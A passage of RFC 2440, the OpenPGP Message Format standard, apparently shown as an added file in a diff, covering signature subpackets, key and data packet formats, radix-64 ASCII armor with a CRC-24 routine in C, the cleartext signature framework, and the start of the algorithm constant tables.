+5.2.3.16. Key server preferences + + (N octets of flags) + + This is a list of flags that indicate preferences that the key holder + has about how the key is handled on a key server. All undefined flags + MUST be zero. + + First octet: 0x80 = No-modify + the key holder requests that this key only be modified or updated + by the key holder or an administrator of the key server. + + This is found only on a self-signature. + + + + + +Callas, et. al. Standards Track [Page 28] + +RFC 2440 OpenPGP Message Format November 1998 + + +5.2.3.17. Preferred key server + + (String) + + This is a URL of a key server that the key holder prefers be used for + updates. Note that keys with multiple user ids can have a preferred + key server for each user id. Note also that since this is a URL, the + key server can actually be a copy of the key retrieved by ftp, http, + finger, etc. + +5.2.3.18. Primary user id + + (1 octet, boolean) + + This is a flag in a user id's self signature that states whether this + user id is the main user id for this key. It is reasonable for an + implementation to resolve ambiguities in preferences, etc. by + referring to the primary user id. If this flag is absent, its value + is zero. If more than one user id in a key is marked as primary, the + implementation may resolve the ambiguity in any way it sees fit. + +5.2.3.19. Policy URL + + (String) + + This subpacket contains a URL of a document that describes the policy + that the signature was issued under. + +5.2.3.20. Key Flags + + (Octet string) + + This subpacket contains a list of binary flags that hold information + about a key. It is a string of octets, and an implementation MUST NOT + assume a fixed size. This is so it can grow over time. If a list is + shorter than an implementation expects, the unstated flags are + considered to be zero. The defined flags are: + + First octet: + + 0x01 - This key may be used to certify other keys. + + 0x02 - This key may be used to sign data. + + 0x04 - This key may be used to encrypt communications. + + 0x08 - This key may be used to encrypt storage. + + + + +Callas, et. al. Standards Track [Page 29] + +RFC 2440 OpenPGP Message Format November 1998 + + + 0x10 - The private component of this key may have been split by a + secret-sharing mechanism. + + 0x80 - The private component of this key may be in the possession + of more than one person. + + Usage notes: + + The flags in this packet may appear in self-signatures or in + certification signatures. They mean different things depending on who + is making the statement -- for example, a certification signature + that has the "sign data" flag is stating that the certification is + for that use. On the other hand, the "communications encryption" flag + in a self-signature is stating a preference that a given key be used + for communications. Note however, that it is a thorny issue to + determine what is "communications" and what is "storage." This + decision is left wholly up to the implementation; the authors of this + document do not claim any special wisdom on the issue, and realize + that accepted opinion may change. + + The "split key" (0x10) and "group key" (0x80) flags are placed on a + self-signature only; they are meaningless on a certification + signature. They SHOULD be placed only on a direct-key signature (type + 0x1f) or a subkey signature (type 0x18), one that refers to the key + the flag applies to. + +5.2.3.21. Signer's User ID + + This subpacket allows a keyholder to state which user id is + responsible for the signing. Many keyholders use a single key for + different purposes, such as business communications as well as + personal communications. This subpacket allows such a keyholder to + state which of their roles is making a signature. + +5.2.3.22. Reason for Revocation + + (1 octet of revocation code, N octets of reason string) + + This subpacket is used only in key revocation and certification + revocation signatures. It describes the reason why the key or + certificate was revoked. + + The first octet contains a machine-readable code that denotes the + reason for the revocation: + + + + + + + +Callas, et. al. Standards Track [Page 30] + +RFC 2440 OpenPGP Message Format November 1998 + + + 0x00 - No reason specified (key revocations or cert revocations) + 0x01 - Key is superceded (key revocations) + 0x02 - Key material has been compromised (key revocations) + 0x03 - Key is no longer used (key revocations) + 0x20 - User id information is no longer valid (cert revocations) + + Following the revocation code is a string of octets which gives + information about the reason for revocation in human-readable form + (UTF-8). The string may be null, that is, of zero length. The length + of the subpacket is the length of the reason string plus one. + +5.2.4. Computing Signatures + + All signatures are formed by producing a hash over the signature + data, and then using the resulting hash in the signature algorithm. + + The signature data is simple to compute for document signatures + (types 0x00 and 0x01), for which the document itself is the data. + For standalone signatures, this is a null string. + + When a signature is made over a key, the hash data starts with the + octet 0x99, followed by a two-octet length of the key, and then body + of the key packet. (Note that this is an old-style packet header for + a key packet with two-octet length.) A subkey signature (type 0x18) + then hashes the subkey, using the same format as the main key. Key + revocation signatures (types 0x20 and 0x28) hash only the key being + revoked. + + A certification signature (type 0x10 through 0x13) hashes the user id + being bound to the key into the hash context after the above data. A + V3 certification hashes the contents of the name packet, without any + header. A V4 certification hashes the constant 0xb4 (which is an + old-style packet header with the length-of-length set to zero), a + four-octet number giving the length of the username, and then the + username data. + + Once the data body is hashed, then a trailer is hashed. A V3 + signature hashes five octets of the packet body, starting from the + signature type field. This data is the signature type, followed by + the four-octet signature time. A V4 signature hashes the packet body + starting from its first field, the version number, through the end of + the hashed subpacket data. Thus, the fields hashed are the signature + version, the signature type, the public key algorithm, the hash + algorithm, the hashed subpacket length, and the hashed subpacket + body. + + + + + + +Callas, et. al. Standards Track [Page 31] + +RFC 2440 OpenPGP Message Format November 1998 + + + V4 signatures also hash in a final trailer of six octets: the version + of the signature packet, i.e. 0x04; 0xFF; a four-octet, big-endian + number that is the length of the hashed data from the signature + packet (note that this number does not include these final six + octets. + + After all this has been hashed, the resulting hash field is used in + the signature algorithm, and placed at the end of the signature + packet. + +5.2.4.1. Subpacket Hints + + An implementation SHOULD put the two mandatory subpackets, creation + time and issuer, as the first subpackets in the subpacket list, + simply to make it easier for the implementer to find them. + + It is certainly possible for a signature to contain conflicting + information in subpackets. For example, a signature may contain + multiple copies of a preference or multiple expiration times. In most + cases, an implementation SHOULD use the last subpacket in the + signature, but MAY use any conflict resolution scheme that makes more + sense. Please note that we are intentionally leaving conflict + resolution to the implementer; most conflicts are simply syntax + errors, and the wishy-washy language here allows a receiver to be + generous in what they accept, while putting pressure on a creator to + be stingy in what they generate. + + Some apparent conflicts may actually make sense -- for example, + suppose a keyholder has an V3 key and a V4 key that share the same + RSA key material. Either of these keys can verify a signature created + by the other, and it may be reasonable for a signature to contain an + issuer subpacket for each key, as a way of explicitly tying those + keys to the signature. + +5.3. Symmetric-Key Encrypted Session-Key Packets (Tag 3) + + The Symmetric-Key Encrypted Session Key packet holds the symmetric- + key encryption of a session key used to encrypt a message. Zero or + more Encrypted Session Key packets and/or Symmetric-Key Encrypted + Session Key packets may precede a Symmetrically Encrypted Data Packet + that holds an encrypted message. The message is encrypted with a + session key, and the session key is itself encrypted and stored in + the Encrypted Session Key packet or the Symmetric-Key Encrypted + Session Key packet. + + If the Symmetrically Encrypted Data Packet is preceded by one or more + Symmetric-Key Encrypted Session Key packets, each specifies a + passphrase that may be used to decrypt the message. This allows a + + + +Callas, et. al. Standards Track [Page 32] + +RFC 2440 OpenPGP Message Format November 1998 + + + message to be encrypted to a number of public keys, and also to one + or more pass phrases. This packet type is new, and is not generated + by PGP 2.x or PGP 5.0. + + The body of this packet consists of: + + - A one-octet version number. The only currently defined version + is 4. + + - A one-octet number describing the symmetric algorithm used. + + - A string-to-key (S2K) specifier, length as defined above. + + - Optionally, the encrypted session key itself, which is decrypted + with the string-to-key object. + + If the encrypted session key is not present (which can be detected on + the basis of packet length and S2K specifier size), then the S2K + algorithm applied to the passphrase produces the session key for + decrypting the file, using the symmetric cipher algorithm from the + Symmetric-Key Encrypted Session Key packet. + + If the encrypted session key is present, the result of applying the + S2K algorithm to the passphrase is used to decrypt just that + encrypted session key field, using CFB mode with an IV of all zeros. + The decryption result consists of a one-octet algorithm identifier + that specifies the symmetric-key encryption algorithm used to encrypt + the following Symmetrically Encrypted Data Packet, followed by the + session key octets themselves. + + Note: because an all-zero IV is used for this decryption, the S2K + specifier MUST use a salt value, either a Salted S2K or an Iterated- + Salted S2K. The salt value will insure that the decryption key is + not repeated even if the passphrase is reused. + +5.4. One-Pass Signature Packets (Tag 4) + + The One-Pass Signature packet precedes the signed data and contains + enough information to allow the receiver to begin calculating any + hashes needed to verify the signature. It allows the Signature + Packet to be placed at the end of the message, so that the signer can + compute the entire signed message in one pass. + + A One-Pass Signature does not interoperate with PGP 2.6.x or earlier. + + The body of this packet consists of: + + + + + +Callas, et. al. Standards Track [Page 33] + +RFC 2440 OpenPGP Message Format November 1998 + + + - A one-octet version number. The current version is 3. + + - A one-octet signature type. Signature types are described in + section 5.2.1. + + - A one-octet number describing the hash algorithm used. + + - A one-octet number describing the public key algorithm used. + + - An eight-octet number holding the key ID of the signing key. + + - A one-octet number holding a flag showing whether the signature + is nested. A zero value indicates that the next packet is + another One-Pass Signature packet that describes another + signature to be applied to the same message data. + + Note that if a message contains more than one one-pass signature, + then the signature packets bracket the message; that is, the first + signature packet after the message corresponds to the last one-pass + packet and the final signature packet corresponds to the first one- + pass packet. + +5.5. Key Material Packet + + A key material packet contains all the information about a public or + private key. There are four variants of this packet type, and two + major versions. Consequently, this section is complex. + +5.5.1. Key Packet Variants + +5.5.1.1. Public Key Packet (Tag 6) + + A Public Key packet starts a series of packets that forms an OpenPGP + key (sometimes called an OpenPGP certificate). + +5.5.1.2. Public Subkey Packet (Tag 14) + + A Public Subkey packet (tag 14) has exactly the same format as a + Public Key packet, but denotes a subkey. One or more subkeys may be + associated with a top-level key. By convention, the top-level key + provides signature services, and the subkeys provide encryption + services. + + Note: in PGP 2.6.x, tag 14 was intended to indicate a comment packet. + This tag was selected for reuse because no previous version of PGP + ever emitted comment packets but they did properly ignore them. + Public Subkey packets are ignored by PGP 2.6.x and do not cause it to + fail, providing a limited degree of backward compatibility. + + + +Callas, et. al. Standards Track [Page 34] + +RFC 2440 OpenPGP Message Format November 1998 + + +5.5.1.3. Secret Key Packet (Tag 5) + + A Secret Key packet contains all the information that is found in a + Public Key packet, including the public key material, but also + includes the secret key material after all the public key fields. + +5.5.1.4. Secret Subkey Packet (Tag 7) + + A Secret Subkey packet (tag 7) is the subkey analog of the Secret Key + packet, and has exactly the same format. + +5.5.2. Public Key Packet Formats + + There are two versions of key-material packets. Version 3 packets + were first generated by PGP 2.6. Version 2 packets are identical in + format to Version 3 packets, but are generated by PGP 2.5 or before. + V2 packets are deprecated and they MUST NOT be generated. PGP 5.0 + introduced version 4 packets, with new fields and semantics. PGP + 2.6.x will not accept key-material packets with versions greater than + 3. + + OpenPGP implementations SHOULD create keys with version 4 format. An + implementation MAY generate a V3 key to ensure interoperability with + old software; note, however, that V4 keys correct some security + deficiencies in V3 keys. These deficiencies are described below. An + implementation MUST NOT create a V3 key with a public key algorithm + other than RSA. + + A version 3 public key or public subkey packet contains: + + - A one-octet version number (3). + + - A four-octet number denoting the time that the key was created. + + - A two-octet number denoting the time in days that this key is + valid. If this number is zero, then it does not expire. + + - A one-octet number denoting the public key algorithm of this key + + - A series of multi-precision integers comprising the key + material: + + - a multiprecision integer (MPI) of RSA public modulus n; + + - an MPI of RSA public encryption exponent e. + + + + + + +Callas, et. al. Standards Track [Page 35] + +RFC 2440 OpenPGP Message Format November 1998 + + + V3 keys SHOULD only be used for backward compatibility because of + three weaknesses in them. First, it is relatively easy to construct a + V3 key that has the same key ID as any other key because the key ID + is simply the low 64 bits of the public modulus. Secondly, because + the fingerprint of a V3 key hashes the key material, but not its + length, which increases the opportunity for fingerprint collisions. + Third, there are minor weaknesses in the MD5 hash algorithm that make + developers prefer other algorithms. See below for a fuller discussion + of key IDs and fingerprints. + + The version 4 format is similar to the version 3 format except for + the absence of a validity period. This has been moved to the + signature packet. In addition, fingerprints of version 4 keys are + calculated differently from version 3 keys, as described in section + "Enhanced Key Formats." + + A version 4 packet contains: + + - A one-octet version number (4). + + - A four-octet number denoting the time that the key was created. + + - A one-octet number denoting the public key algorithm of this key + + - A series of multi-precision integers comprising the key + material. This algorithm-specific portion is: + + Algorithm Specific Fields for RSA public keys: + + - multiprecision integer (MPI) of RSA public modulus n; + + - MPI of RSA public encryption exponent e. + + Algorithm Specific Fields for DSA public keys: + + - MPI of DSA prime p; + + - MPI of DSA group order q (q is a prime divisor of p-1); + + - MPI of DSA group generator g; + + - MPI of DSA public key value y (= g**x where x is secret). + + Algorithm Specific Fields for Elgamal public keys: + + - MPI of Elgamal prime p; + + - MPI of Elgamal group generator g; + + + +Callas, et. al. Standards Track [Page 36] + +RFC 2440 OpenPGP Message Format November 1998 + + + - MPI of Elgamal public key value y (= g**x where x is + secret). + +5.5.3. Secret Key Packet Formats + + The Secret Key and Secret Subkey packets contain all the data of the + Public Key and Public Subkey packets, with additional algorithm- + specific secret key data appended, in encrypted form. + + The packet contains: + + - A Public Key or Public Subkey packet, as described above + + - One octet indicating string-to-key usage conventions. 0 + indicates that the secret key data is not encrypted. 255 + indicates that a string-to-key specifier is being given. Any + other value is a symmetric-key encryption algorithm specifier. + + - [Optional] If string-to-key usage octet was 255, a one-octet + symmetric encryption algorithm. + + - [Optional] If string-to-key usage octet was 255, a string-to-key + specifier. The length of the string-to-key specifier is implied + by its type, as described above. + + - [Optional] If secret data is encrypted, eight-octet Initial + Vector (IV). + + - Encrypted multi-precision integers comprising the secret key + data. These algorithm-specific fields are as described below. + + - Two-octet checksum of the plaintext of the algorithm-specific + portion (sum of all octets, mod 65536). + + Algorithm Specific Fields for RSA secret keys: + + - multiprecision integer (MPI) of RSA secret exponent d. + + - MPI of RSA secret prime value p. + + - MPI of RSA secret prime value q (p < q). + + - MPI of u, the multiplicative inverse of p, mod q. + + Algorithm Specific Fields for DSA secret keys: + + - MPI of DSA secret exponent x. + + + + +Callas, et. al. Standards Track [Page 37] + +RFC 2440 OpenPGP Message Format November 1998 + + + Algorithm Specific Fields for Elgamal secret keys: + + - MPI of Elgamal secret exponent x. + + Secret MPI values can be encrypted using a passphrase. If a string- + to-key specifier is given, that describes the algorithm for + converting the passphrase to a key, else a simple MD5 hash of the + passphrase is used. Implementations SHOULD use a string-to-key + specifier; the simple hash is for backward compatibility. The cipher + for encrypting the MPIs is specified in the secret key packet. + + Encryption/decryption of the secret data is done in CFB mode using + the key created from the passphrase and the Initial Vector from the + packet. A different mode is used with V3 keys (which are only RSA) + than with other key formats. With V3 keys, the MPI bit count prefix + (i.e., the first two octets) is not encrypted. Only the MPI non- + prefix data is encrypted. Furthermore, the CFB state is + resynchronized at the beginning of each new MPI value, so that the + CFB block boundary is aligned with the start of the MPI data. + + With V4 keys, a simpler method is used. All secret MPI values are + encrypted in CFB mode, including the MPI bitcount prefix. + + The 16-bit checksum that follows the algorithm-specific portion is + the algebraic sum, mod 65536, of the plaintext of all the algorithm- + specific octets (including MPI prefix and data). With V3 keys, the + checksum is stored in the clear. With V4 keys, the checksum is + encrypted like the algorithm-specific data. This value is used to + check that the passphrase was correct. + +5.6. Compressed Data Packet (Tag 8) + + The Compressed Data packet contains compressed data. Typically, this + packet is found as the contents of an encrypted packet, or following + a Signature or One-Pass Signature packet, and contains literal data + packets. + + The body of this packet consists of: + + - One octet that gives the algorithm used to compress the packet. + + - The remainder of the packet is compressed data. + + A Compressed Data Packet's body contains an block that compresses + some set of packets. See section "Packet Composition" for details on + how messages are formed. + + + + + +Callas, et. al. Standards Track [Page 38] + +RFC 2440 OpenPGP Message Format November 1998 + + + ZIP-compressed packets are compressed with raw RFC 1951 DEFLATE + blocks. Note that PGP V2.6 uses 13 bits of compression. If an + implementation uses more bits of compression, PGP V2.6 cannot + decompress it. + + ZLIB-compressed packets are compressed with RFC 1950 ZLIB-style + blocks. + +5.7. Symmetrically Encrypted Data Packet (Tag 9) + + The Symmetrically Encrypted Data packet contains data encrypted with + a symmetric-key algorithm. When it has been decrypted, it will + typically contain other packets (often literal data packets or + compressed data packets). + + The body of this packet consists of: + + - Encrypted data, the output of the selected symmetric-key cipher + operating in PGP's variant of Cipher Feedback (CFB) mode. + + The symmetric cipher used may be specified in an Public-Key or + Symmetric-Key Encrypted Session Key packet that precedes the + Symmetrically Encrypted Data Packet. In that case, the cipher + algorithm octet is prefixed to the session key before it is + encrypted. If no packets of these types precede the encrypted data, + the IDEA algorithm is used with the session key calculated as the MD5 + hash of the passphrase. + + The data is encrypted in CFB mode, with a CFB shift size equal to the + cipher's block size. The Initial Vector (IV) is specified as all + zeros. Instead of using an IV, OpenPGP prefixes a 10-octet string to + the data before it is encrypted. The first eight octets are random, + and the 9th and 10th octets are copies of the 7th and 8th octets, + respectively. After encrypting the first 10 octets, the CFB state is + resynchronized if the cipher block size is 8 octets or less. The + last 8 octets of ciphertext are passed through the cipher and the + block boundary is reset. + + The repetition of 16 bits in the 80 bits of random data prefixed to + the message allows the receiver to immediately check whether the + session key is incorrect. + +5.8. Marker Packet (Obsolete Literal Packet) (Tag 10) + + An experimental version of PGP used this packet as the Literal + packet, but no released version of PGP generated Literal packets with + this tag. With PGP 5.x, this packet has been re-assigned and is + reserved for use as the Marker packet. + + + +Callas, et. al. Standards Track [Page 39] + +RFC 2440 OpenPGP Message Format November 1998 + + + The body of this packet consists of: + + - The three octets 0x50, 0x47, 0x50 (which spell "PGP" in UTF-8). + + Such a packet MUST be ignored when received. It may be placed at the + beginning of a message that uses features not available in PGP 2.6.x + in order to cause that version to report that newer software is + necessary to process the message. + +5.9. Literal Data Packet (Tag 11) + + A Literal Data packet contains the body of a message; data that is + not to be further interpreted. + + The body of this packet consists of: + + - A one-octet field that describes how the data is formatted. + + If it is a 'b' (0x62), then the literal packet contains binary data. + If it is a 't' (0x74), then it contains text data, and thus may need + line ends converted to local form, or other text-mode changes. RFC + 1991 also defined a value of 'l' as a 'local' mode for machine-local + conversions. This use is now deprecated. + + - File name as a string (one-octet length, followed by file name), + if the encrypted data should be saved as a file. + + If the special name "_CONSOLE" is used, the message is considered to + be "for your eyes only". This advises that the message data is + unusually sensitive, and the receiving program should process it more + carefully, perhaps avoiding storing the received data to disk, for + example. + + - A four-octet number that indicates the modification date of the + file, or the creation time of the packet, or a zero that + indicates the present time. + + - The remainder of the packet is literal data. + + Text data is stored with text endings (i.e. network-normal + line endings). These should be converted to native line endings by + the receiving software. + +5.10. Trust Packet (Tag 12) + + The Trust packet is used only within keyrings and is not normally + exported. Trust packets contain data that record the user's + specifications of which key holders are trustworthy introducers, + + + +Callas, et. al. Standards Track [Page 40] + +RFC 2440 OpenPGP Message Format November 1998 + + + along with other information that implementing software uses for + trust information. + + Trust packets SHOULD NOT be emitted to output streams that are + transferred to other users, and they SHOULD be ignored on any input + other than local keyring files. + +5.11. User ID Packet (Tag 13) + + A User ID packet consists of data that is intended to represent the + name and email address of the key holder. By convention, it includes + an RFC 822 mail name, but there are no restrictions on its content. + The packet length in the header specifies the length of the user id. + If it is text, it is encoded in UTF-8. + +6. Radix-64 Conversions + + As stated in the introduction, OpenPGP's underlying native + representation for objects is a stream of arbitrary octets, and some + systems desire these objects to be immune to damage caused by + character set translation, data conversions, etc. + + In principle, any printable encoding scheme that met the requirements + of the unsafe channel would suffice, since it would not change the + underlying binary bit streams of the native OpenPGP data structures. + The OpenPGP standard specifies one such printable encoding scheme to + ensure interoperability. + + OpenPGP's Radix-64 encoding is composed of two parts: a base64 + encoding of the binary data, and a checksum. The base64 encoding is + identical to the MIME base64 content-transfer-encoding [RFC2231, + Section 6.8]. An OpenPGP implementation MAY use ASCII Armor to + protect the raw binary data. + + The checksum is a 24-bit CRC converted to four characters of radix-64 + encoding by the same MIME base64 transformation, preceded by an + equals sign (=). The CRC is computed by using the generator 0x864CFB + and an initialization of 0xB704CE. The accumulation is done on the + data before it is converted to radix-64, rather than on the converted + data. A sample implementation of this algorithm is in the next + section. + + The checksum with its leading equal sign MAY appear on the first line + after the Base64 encoded data. + + Rationale for CRC-24: The size of 24 bits fits evenly into printable + base64. The nonzero initialization can detect more errors than a + zero initialization. + + + +Callas, et. al. Standards Track [Page 41] + +RFC 2440 OpenPGP Message Format November 1998 + + +6.1. An Implementation of the CRC-24 in "C" + + #define CRC24_INIT 0xb704ceL + #define CRC24_POLY 0x1864cfbL + + typedef long crc24; + crc24 crc_octets(unsigned char *octets, size_t len) + { + crc24 crc = CRC24_INIT; + int i; + + while (len--) { + crc ^= (*octets++) << 16; + for (i = 0; i < 8; i++) { + crc <<= 1; + if (crc & 0x1000000) + crc ^= CRC24_POLY; + } + } + return crc & 0xffffffL; + } + +6.2. Forming ASCII Armor + + When OpenPGP encodes data into ASCII Armor, it puts specific headers + around the data, so OpenPGP can reconstruct the data later. OpenPGP + informs the user what kind of data is encoded in the ASCII armor + through the use of the headers. + + Concatenating the following data creates ASCII Armor: + + - An Armor Header Line, appropriate for the type of data + + - Armor Headers + + - A blank (zero-length, or containing only whitespace) line + + - The ASCII-Armored data + + - An Armor Checksum + + - The Armor Tail, which depends on the Armor Header Line. + + An Armor Header Line consists of the appropriate header line text + surrounded by five (5) dashes ('-', 0x2D) on either side of the + header line text. The header line text is chosen based upon the type + of data that is being encoded in Armor, and how it is being encoded. + Header line texts include the following strings: + + + +Callas, et. al. Standards Track [Page 42] + +RFC 2440 OpenPGP Message Format November 1998 + + + BEGIN PGP MESSAGE + Used for signed, encrypted, or compressed files. + + BEGIN PGP PUBLIC KEY BLOCK + Used for armoring public keys + + BEGIN PGP PRIVATE KEY BLOCK + Used for armoring private keys + + BEGIN PGP MESSAGE, PART X/Y + Used for multi-part messages, where the armor is split amongst Y + parts, and this is the Xth part out of Y. + + BEGIN PGP MESSAGE, PART X + Used for multi-part messages, where this is the Xth part of an + unspecified number of parts. Requires the MESSAGE-ID Armor Header + to be used. + + BEGIN PGP SIGNATURE + Used for detached signatures, OpenPGP/MIME signatures, and + natures following clearsigned messages. Note that PGP 2.x s BEGIN + PGP MESSAGE for detached signatures. + + The Armor Headers are pairs of strings that can give the user or the + receiving OpenPGP implementation some information about how to decode + or use the message. The Armor Headers are a part of the armor, not a + part of the message, and hence are not protected by any signatures + applied to the message. + + The format of an Armor Header is that of a key-value pair. A colon + (':' 0x38) and a single space (0x20) separate the key and value. + OpenPGP should consider improperly formatted Armor Headers to be + corruption of the ASCII Armor. Unknown keys should be reported to + the user, but OpenPGP should continue to process the message. + + Currently defined Armor Header Keys are: + + - "Version", that states the OpenPGP Version used to encode the + message. + + - "Comment", a user-defined comment. + + - "MessageID", a 32-character string of printable characters. The + string must be the same for all parts of a multi-part message + that uses the "PART X" Armor Header. MessageID strings should be + + + + + + +Callas, et. al. Standards Track [Page 43] + +RFC 2440 OpenPGP Message Format November 1998 + + + unique enough that the recipient of the mail can associate all + the parts of a message with each other. A good checksum or + cryptographic hash function is sufficient. + + - "Hash", a comma-separated list of hash algorithms used in this + message. This is used only in clear-signed messages. + + - "Charset", a description of the character set that the plaintext + is in. Please note that OpenPGP defines text to be in UTF-8 by + default. An implementation will get best results by translating + into and out of UTF-8. However, there are many instances where + this is easier said than done. Also, there are communities of + users who have no need for UTF-8 because they are all happy with + a character set like ISO Latin-5 or a Japanese character set. In + such instances, an implementation MAY override the UTF-8 default + by using this header key. An implementation MAY implement this + key and any translations it cares to; an implementation MAY + ignore it and assume all text is UTF-8. + + The MessageID SHOULD NOT appear unless it is in a multi-part + message. If it appears at all, it MUST be computed from the + finished (encrypted, signed, etc.) message in a deterministic + fashion, rather than contain a purely random value. This is to + allow the legitimate recipient to determine that the MessageID + cannot serve as a covert means of leaking cryptographic key + information. + + The Armor Tail Line is composed in the same manner as the Armor + Header Line, except the string "BEGIN" is replaced by the string + "END." + +6.3. Encoding Binary in Radix-64 + + The encoding process represents 24-bit groups of input bits as output + strings of 4 encoded characters. Proceeding from left to right, a + 24-bit input group is formed by concatenating three 8-bit input + groups. These 24 bits are then treated as four concatenated 6-bit + groups, each of which is translated into a single digit in the + Radix-64 alphabet. When encoding a bit stream with the Radix-64 + encoding, the bit stream must be presumed to be ordered with the + most-significant-bit first. That is, the first bit in the stream will + be the high-order bit in the first 8-bit octet, and the eighth bit + will be the low-order bit in the first 8-bit octet, and so on. + + + + + + + + +Callas, et. al. Standards Track [Page 44] + +RFC 2440 OpenPGP Message Format November 1998 + + + +--first octet--+-second octet--+--third octet--+ + |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| + +-----------+---+-------+-------+---+-----------+ + |5 4 3 2 1 0|5 4 3 2 1 0|5 4 3 2 1 0|5 4 3 2 1 0| + +--1.index--+--2.index--+--3.index--+--4.index--+ + + Each 6-bit group is used as an index into an array of 64 printable + characters from the table below. The character referenced by the + index is placed in the output string. + + Value Encoding Value Encoding Value Encoding Value Encoding + 0 A 17 R 34 i 51 z + 1 B 18 S 35 j 52 0 + 2 C 19 T 36 k 53 1 + 3 D 20 U 37 l 54 2 + 4 E 21 V 38 m 55 3 + 5 F 22 W 39 n 56 4 + 6 G 23 X 40 o 57 5 + 7 H 24 Y 41 p 58 6 + 8 I 25 Z 42 q 59 7 + 9 J 26 a 43 r 60 8 + 10 K 27 b 44 s 61 9 + 11 L 28 c 45 t 62 + + 12 M 29 d 46 u 63 / + 13 N 30 e 47 v + 14 O 31 f 48 w (pad) = + 15 P 32 g 49 x + 16 Q 33 h 50 y + + The encoded output stream must be represented in lines of no more + than 76 characters each. + + Special processing is performed if fewer than 24 bits are available + at the end of the data being encoded. There are three possibilities: + + 1. The last data group has 24 bits (3 octets). No special + processing is needed. + + 2. The last data group has 16 bits (2 octets). The first two 6-bit + groups are processed as above. The third (incomplete) data group + has two zero-value bits added to it, and is processed as above. + A pad character (=) is added to the output. + + 3. The last data group has 8 bits (1 octet). The first 6-bit group + is processed as above. The second (incomplete) data group has + four zero-value bits added to it, and is processed as above. Two + pad characters (=) are added to the output. + + + + +Callas, et. al. Standards Track [Page 45] + +RFC 2440 OpenPGP Message Format November 1998 + + +6.4. Decoding Radix-64 + + Any characters outside of the base64 alphabet are ignored in Radix-64 + data. Decoding software must ignore all line breaks or other + characters not found in the table above. + + In Radix-64 data, characters other than those in the table, line + breaks, and other white space probably indicate a transmission error, + about which a warning message or even a message rejection might be + appropriate under some circumstances. + + Because it is used only for padding at the end of the data, the + occurrence of any "=" characters may be taken as evidence that the + end of the data has been reached (without truncation in transit). No + such assurance is possible, however, when the number of octets + transmitted was a multiple of three and no "=" characters are + present. + +6.5. Examples of Radix-64 + + Input data: 0x14fb9c03d97e + Hex: 1 4 f b 9 c | 0 3 d 9 7 e + 8-bit: 00010100 11111011 10011100 | 00000011 11011001 + 11111110 + 6-bit: 000101 001111 101110 011100 | 000000 111101 100111 + 111110 + Decimal: 5 15 46 28 0 61 37 62 + Output: F P u c A 9 l + + + Input data: 0x14fb9c03d9 + Hex: 1 4 f b 9 c | 0 3 d 9 + 8-bit: 00010100 11111011 10011100 | 00000011 11011001 + pad with 00 + 6-bit: 000101 001111 101110 011100 | 000000 111101 100100 + Decimal: 5 15 46 28 0 61 36 + pad with = + Output: F P u c A 9 k = + + Input data: 0x14fb9c03 + Hex: 1 4 f b 9 c | 0 3 + 8-bit: 00010100 11111011 10011100 | 00000011 + pad with 0000 + 6-bit: 000101 001111 101110 011100 | 000000 110000 + Decimal: 5 15 46 28 0 48 + pad with = = + Output: F P u c A w = = + + + + + +Callas, et. al. Standards Track [Page 46] + +RFC 2440 OpenPGP Message Format November 1998 + + +6.6. Example of an ASCII Armored Message + + + -----BEGIN PGP MESSAGE----- + Version: OpenPrivacy 0.99 + + yDgBO22WxBHv7O8X7O/jygAEzol56iUKiXmV+XmpCtmpqQUKiQrFqclFqUDBovzS + vBSFjNSiVHsuAA== + =njUN + -----END PGP MESSAGE----- + + Note that this example is indented by two spaces. + +7. Cleartext signature framework + + It is desirable to sign a textual octet stream without ASCII armoring + the stream itself, so the signed text is still readable without + special software. In order to bind a signature to such a cleartext, + this framework is used. (Note that RFC 2015 defines another way to + clear sign messages for environments that support MIME.) + + The cleartext signed message consists of: + + - The cleartext header '-----BEGIN PGP SIGNED MESSAGE-----' on a + single line, + + - One or more "Hash" Armor Headers, + + - Exactly one empty line not included into the message digest, + + - The dash-escaped cleartext that is included into the message + digest, + + - The ASCII armored signature(s) including the '-----BEGIN PGP + SIGNATURE-----' Armor Header and Armor Tail Lines. + + If the "Hash" armor header is given, the specified message digest + algorithm is used for the signature. If there are no such headers, + MD5 is used, an implementation MAY omit them for V2.x compatibility. + If more than one message digest is used in the signature, the "Hash" + armor header contains a comma-delimited list of used message digests. + + Current message digest names are described below with the algorithm + IDs. + +7.1. Dash-Escaped Text + + The cleartext content of the message must also be dash-escaped. + + + +Callas, et. al. Standards Track [Page 47] + +RFC 2440 OpenPGP Message Format November 1998 + + + Dash escaped cleartext is the ordinary cleartext where every line + starting with a dash '-' (0x2D) is prefixed by the sequence dash '-' + (0x2D) and space ' ' (0x20). This prevents the parser from + recognizing armor headers of the cleartext itself. The message digest + is computed using the cleartext itself, not the dash escaped form. + + As with binary signatures on text documents, a cleartext signature is + calculated on the text using canonical line endings. The + line ending (i.e. the ) before the '-----BEGIN PGP + SIGNATURE-----' line that terminates the signed text is not + considered part of the signed text. + + Also, any trailing whitespace (spaces, and tabs, 0x09) at the end of + any line is ignored when the cleartext signature is calculated. + +8. Regular Expressions + + A regular expression is zero or more branches, separated by '|'. It + matches anything that matches one of the branches. + + A branch is zero or more pieces, concatenated. It matches a match for + the first, followed by a match for the second, etc. + + A piece is an atom possibly followed by '*', '+', or '?'. An atom + followed by '*' matches a sequence of 0 or more matches of the atom. + An atom followed by '+' matches a sequence of 1 or more matches of + the atom. An atom followed by '?' matches a match of the atom, or the + null string. + + An atom is a regular expression in parentheses (matching a match for + the regular expression), a range (see below), '.' (matching any + single character), '^' (matching the null string at the beginning of + the input string), '$' (matching the null string at the end of the + input string), a '\' followed by a single character (matching that + character), or a single character with no other significance + (matching that character). + + A range is a sequence of characters enclosed in '[]'. It normally + matches any single character from the sequence. If the sequence + begins with '^', it matches any single character not from the rest of + the sequence. If two characters in the sequence are separated by '-', + this is shorthand for the full list of ASCII characters between them + (e.g. '[0-9]' matches any decimal digit). To include a literal ']' in + the sequence, make it the first character (following a possible '^'). + To include a literal '-', make it the first or last character. + + + + + + +Callas, et. al. Standards Track [Page 48] + +RFC 2440 OpenPGP Message Format November 1998 + + +9. Constants + + This section describes the constants used in OpenPGP. + + Note that these tables are not exhaustive lists; an implementation + MAY implement an algorithm not on these lists. + + See the section "Notes on Algorithms" below for more discussion of + the algorithms. + +9.1. Public Key Algorithms + + ID Algorithm + -- --------- + 1 - RSA (Encrypt or Sign) + 2 - RSA Encrypt-Only + 3 - RSA Sign-Only + 16 - Elgamal (Encrypt-Only), see [ELGAMAL] + 17 - DSA (Digital Signature Standard) + 18 - Reserved for 